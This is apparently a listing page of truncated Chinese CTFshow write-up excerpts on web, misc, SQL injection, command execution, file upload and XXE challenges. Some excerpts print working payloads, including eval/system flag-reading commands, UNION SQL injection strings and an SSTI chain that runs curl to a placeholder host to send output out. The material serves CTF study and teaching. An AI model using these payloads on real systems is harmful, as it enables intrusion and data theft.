ctfshow专题

ctfshow-爆破(web21-web28)

web21 提交用户和密码后发现没有用户以及密码的值呢常见的是在post数据中或者url后传值但这里都没有发现http头有一个Authorization字段值是base64编码后的解码原来是将传入的值用冒号分离进行base64编码然后放到了Authorization字段中了设置变量增加前缀增加编码方式取消选项记住只要payload存在一下

【靶场】CTFshow—vip限免题目11~20

🏘️个人主页：点燃银河尽头的篝火(●’◡’●) 如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦【靶场】CTFshow—vip限免题目11~20 域名txt记录泄露敏感信息公布内部技术文档泄露编辑器配置不当密码逻辑脆弱探针泄露CDN穿透js敏感信息泄露前端密钥泄露数据库恶意下载域名txt记录泄露提示：域名其实也可以隐藏信息，比如ctfshow.com 就

CtfShow中的misc17解法

第一步：首先拿随波逐流打开看看，没发现啥突破点，很正常第二步：使用kali中的binwalk命令，解析出一个文件夹，打开压缩包后发现没什么东西第三步：结合题目给的提示，使用tweakpng打开图片进行IDAT合并，combine all iDAt 第四步：继续用binwalk命令来解析，得到一个新的文件夹，里面有一个D6E文件，可以直接查看也可以放到Window

ctfshow(web入门-命令执行)-1

1.web29 只有当c参数的值不包含“flag”（区分大小写），才会执行这段代码 $c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);} 只要payload中没有flag即可先尝试cat (右键源代码) tail,tac皆可 system("tail fla*"); tac 逆序读 tail 默认读后1

ctfshow之web58~web71

目录 web58 思路一：思路二：思路三： web59~web65 web66~web67 web68~web70 web71 web58 if(isset($_POST['c'])){$c= $_POST['c'];eval($c);}else{highlight_file(__FILE__);} PHP eval() 函数介绍定义和用法 e

【CTF Web】CTFShow 协议头信息泄露 Writeup（HTTP协议+信息收集）

协议头信息泄露 10 没思路的时候抓个包看看，可能会有意外收获解法按 F12 打开开发者工具，点开网络，刷新网页。 flag 在响应标头。 Flag ctfshow{7fa61c00-ff46-4b3e-8d08-1eaafae521cc} 声明本博客上发布的所有关于网络攻防技术的文章，仅用于教育和研究目的。所有涉及到的实验操作都在虚拟机或者专门设计的靶

CTFSHOW misc入门中misc8解法

第一步:下载misc8压缩包后解压缩，发现是一张misc8.png图片第二步：老规矩，还是在kali里用binwalk命令查看文件是否包含隐藏文件，发现有两个png文件第三步：使用binwalk -e 命令看是否能进行解析文件，结果不能。继续使用foremost来进行解析第四步：使用foremost -T命令来解析，生成两个文件夹，在第二个文件夹中发现一个png文件夹

ctfshow之web29~web51

web29 前瞻知识： isset() #函数用于检测变量是否已设置并且非 NULL。 highlight_file(_FILE_) #它的作用是将当前文件的代码以语法高亮的形式输出到浏览器.#该函数接受一个参数，"_FILE_",是一个特殊的变量，表示当前文件的路径。因此，这行代码的作用是将当前文件的代码以语法高亮的形式输出到浏览器。 preg_match("/flag/i"

ctfshow web其他 web450--web460

web450 <?phphighlight_file(__FILE__);$ctfshow=$_GET['ctfshow'];if(preg_match('/^[a-z]+[\^][a-z]+[\^][a-z]+$/', $ctfshow)){ //小写字母^小写字母^小写字母eval("($ctfshow)();");} ?ctfshow=phpinfo^phpinfo^phpinf

ctfshow web 其他 web432--web449

web432 过滤了os|open|system|read|eval ?code=str(''.__class__.__bases__[0].__subclasses__[185].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').__dict__['po'+'pen']('curl http://ip:port?1=

ctfshow web 单身杯

web签到 <?phperror_reporting(0);highlight_file(__FILE__);$file = $_POST['file'];if(isset($file)){if(strrev($file)==$file){ //翻转函数include $file;}} 要进行反转并且包含文件用data协议自己写不好写可以用函数帮你翻转 <?php $a='data

ctfshow-web入门-命令执行（web43-web52）关于黑洞“ ＞/dev/null 2＞1“的处理与绕过

目录 1、web43 2、web44 3、web45 4、web46 5、web47 6、web48 7、web49 8、web50 9、web51 10、web52 1、web43 在上一题 ‘黑洞’ 的基础上新增过滤： preg_match("/\;|cat/i", $c) 问题不大，我们不用分号和 cat 就行： ?c=ls|| payloa

ctfshow-web入门-命令执行（web53-web55）

目录 1、web53 2、web54 3、web55 1、web53 这里的代码有点不一样，说一下这两种的区别：（1）直接执行 system($c); system($c); 这种方式会直接执行命令 $c 并将命令的输出直接发送到标准输出（通常是浏览器）；不会返回命令的输出值，因此不能对输出结果进行进一步处理。（2）使用一个参数来接受 system 的返回值

ctfshow-web入门-命令执行（web42知识铺垫与四种常见截断方法）

目录 1、知识铺垫（1）文件描述符（2）/dev/null 2、代码审计 3、命令分隔（1）使用分号 ; （2）使用逻辑或 || （3）使用 && 或者 & 4、%0a 换行符截断命令执行，需要严格的过滤 1、知识铺垫（1）文件描述符标准输入（stdin）：文件描述符为 0，用于读取输入数据。标准输出（stdout）：文件描述符为

ctfshow web web签到--web14

web签到查看源代码解码即可 web2 SQL注入，我之前是没遇到这种格式的长了新姿势 ' or 1=1 union select 1,database(),3 limit 1,2;#' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema='web2' lim

ctfshow解题，知识点学习

1.easy_zip（misc） 1）打开环境后是一个压缩包，解压里面有个flag.txt文件需要密码， 2）直接用工具爆破，即可找到密码 2.easy_eval 1）进入题目环境，先进行代码审计首先说是要使用post传参，传入参数code 然后是str_replace()把字符串中某一的字符，换成另了空格字符并且区分大小写。然后存在一个过滤，把问号过滤掉了。

【CTF-Web】文件上传漏洞学习笔记（ctfshow题目）

文件上传文章目录文件上传What is Upload-File？Upload-File In CTFWeb151考点：前端校验解题： Web152考点：后端校验要严密解题： Web153考点：后端校验配置文件介绍解题： Web154考点：后端内容校验大小写绕过解题： Web155考点：后端内容校验短标签绕过解题： Web156考点：后端内容校验中括号符号绕过解题： Web15

ctfshow-web入门-爆破（web21-web24）

目录 1、web21 2、web22 3、web23 4、web24 1、web21 爆破什么的，都是基操需要认证才能访问随便输一个用户名和密码抓包看看：多出来一个认证的头 Authorization: Basic YWRtaW46MTIzNDU2 base64 解码看看：就是我们刚才输入的用于测试的用户名和密码发到攻击模块进行爆破，设

ctfshow phpCVE web311web313

web311 这道题是一个版本漏洞 CVE-2019-11043 这个漏洞工具的使用必须要有go环境哦 //创建工作空间mkdir $HOME/go 如果失败就rm -rf ~/go//编辑 ~/.bash_profile 文件vim ~/.bash_profile//在最后一行添加下面这句。$HOME/go 为你工作空间的路径，你也可以换成你喜欢的路径export GOPA

【CTF-Web】XXE学习笔记（附ctfshow例题）

XXE 文章目录 XXE0x01 前置知识汇总XMLDTD （Document Type Definition） 0x02 XXE0x03 XXE危害0x04 攻击方式1. 通过File协议读取文件Web373(有回显)Web374(无回显) Web375Web376Web377Web378 0x01 前置知识汇总 XML 可扩展标记语言（eXtensible Marku

ctfshow web 月饼杯

web1_此夜圆 <?phperror_reporting(0);class a{public $uname;public $password;public function __construct($uname,$password){$this->uname=$uname;$this->password=$password;}public function __wakeup(){if($t

【CTF Web】CTFShow web5 Writeup（SQL注入+PHP+位运算）

web5 1 阿呆被老板狂骂一通，决定改掉自己大意的毛病，痛下杀手，修补漏洞。解法注意到：  拦截很多种字符，连 select 也不给用了。 if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|$|$|\+|select/i",$id)){die(

【CTF Web】CTFShow web6 Writeup（SQL注入+PHP+位运算）

web6 1 阿呆一口老血差点噎死自己，决定杠上了解法注意到：  拦截很多种字符，连 select 也不给用了。 if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|x|hex|$|$|\+|select/i",$id)){die("id error")

【CTF Web】CTFShow web3 Writeup（SQL注入+PHP+UNION注入）

web3 1 管理员被狠狠的教育了，所以决定好好修复一番。这次没问题了。解法注意到：  但是拦截很多种字符。 if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){die("id error");} 使用UNION注入： ?id=1 and 1=0 unio

【CTF Web】CTFShow web4 Writeup（SQL注入+PHP+字符型注入）

web4 1 管理员阿呆又失败了，这次一定要堵住漏洞解法注意到：  拦截很多种字符，连 select 也不给用了。 if(preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|$|$|\+|select/i",$id)){die("id error");} 但是可以传入

ctfshow web入门嵌入式 bash cpp pwn

kali转bash shell方法方便我们本地 bash脚本教程下面这个代码是bash脚本 #!/bin/bashOIFS="$IFS"IFS="," //表示逗号为字段分隔符set $QUERY_STRING //将参数传入数组Args=($QUERY_STRING)IFS="$OIFS" //恢复原始IFS值if [ "${Args[2]}"ctf = "ad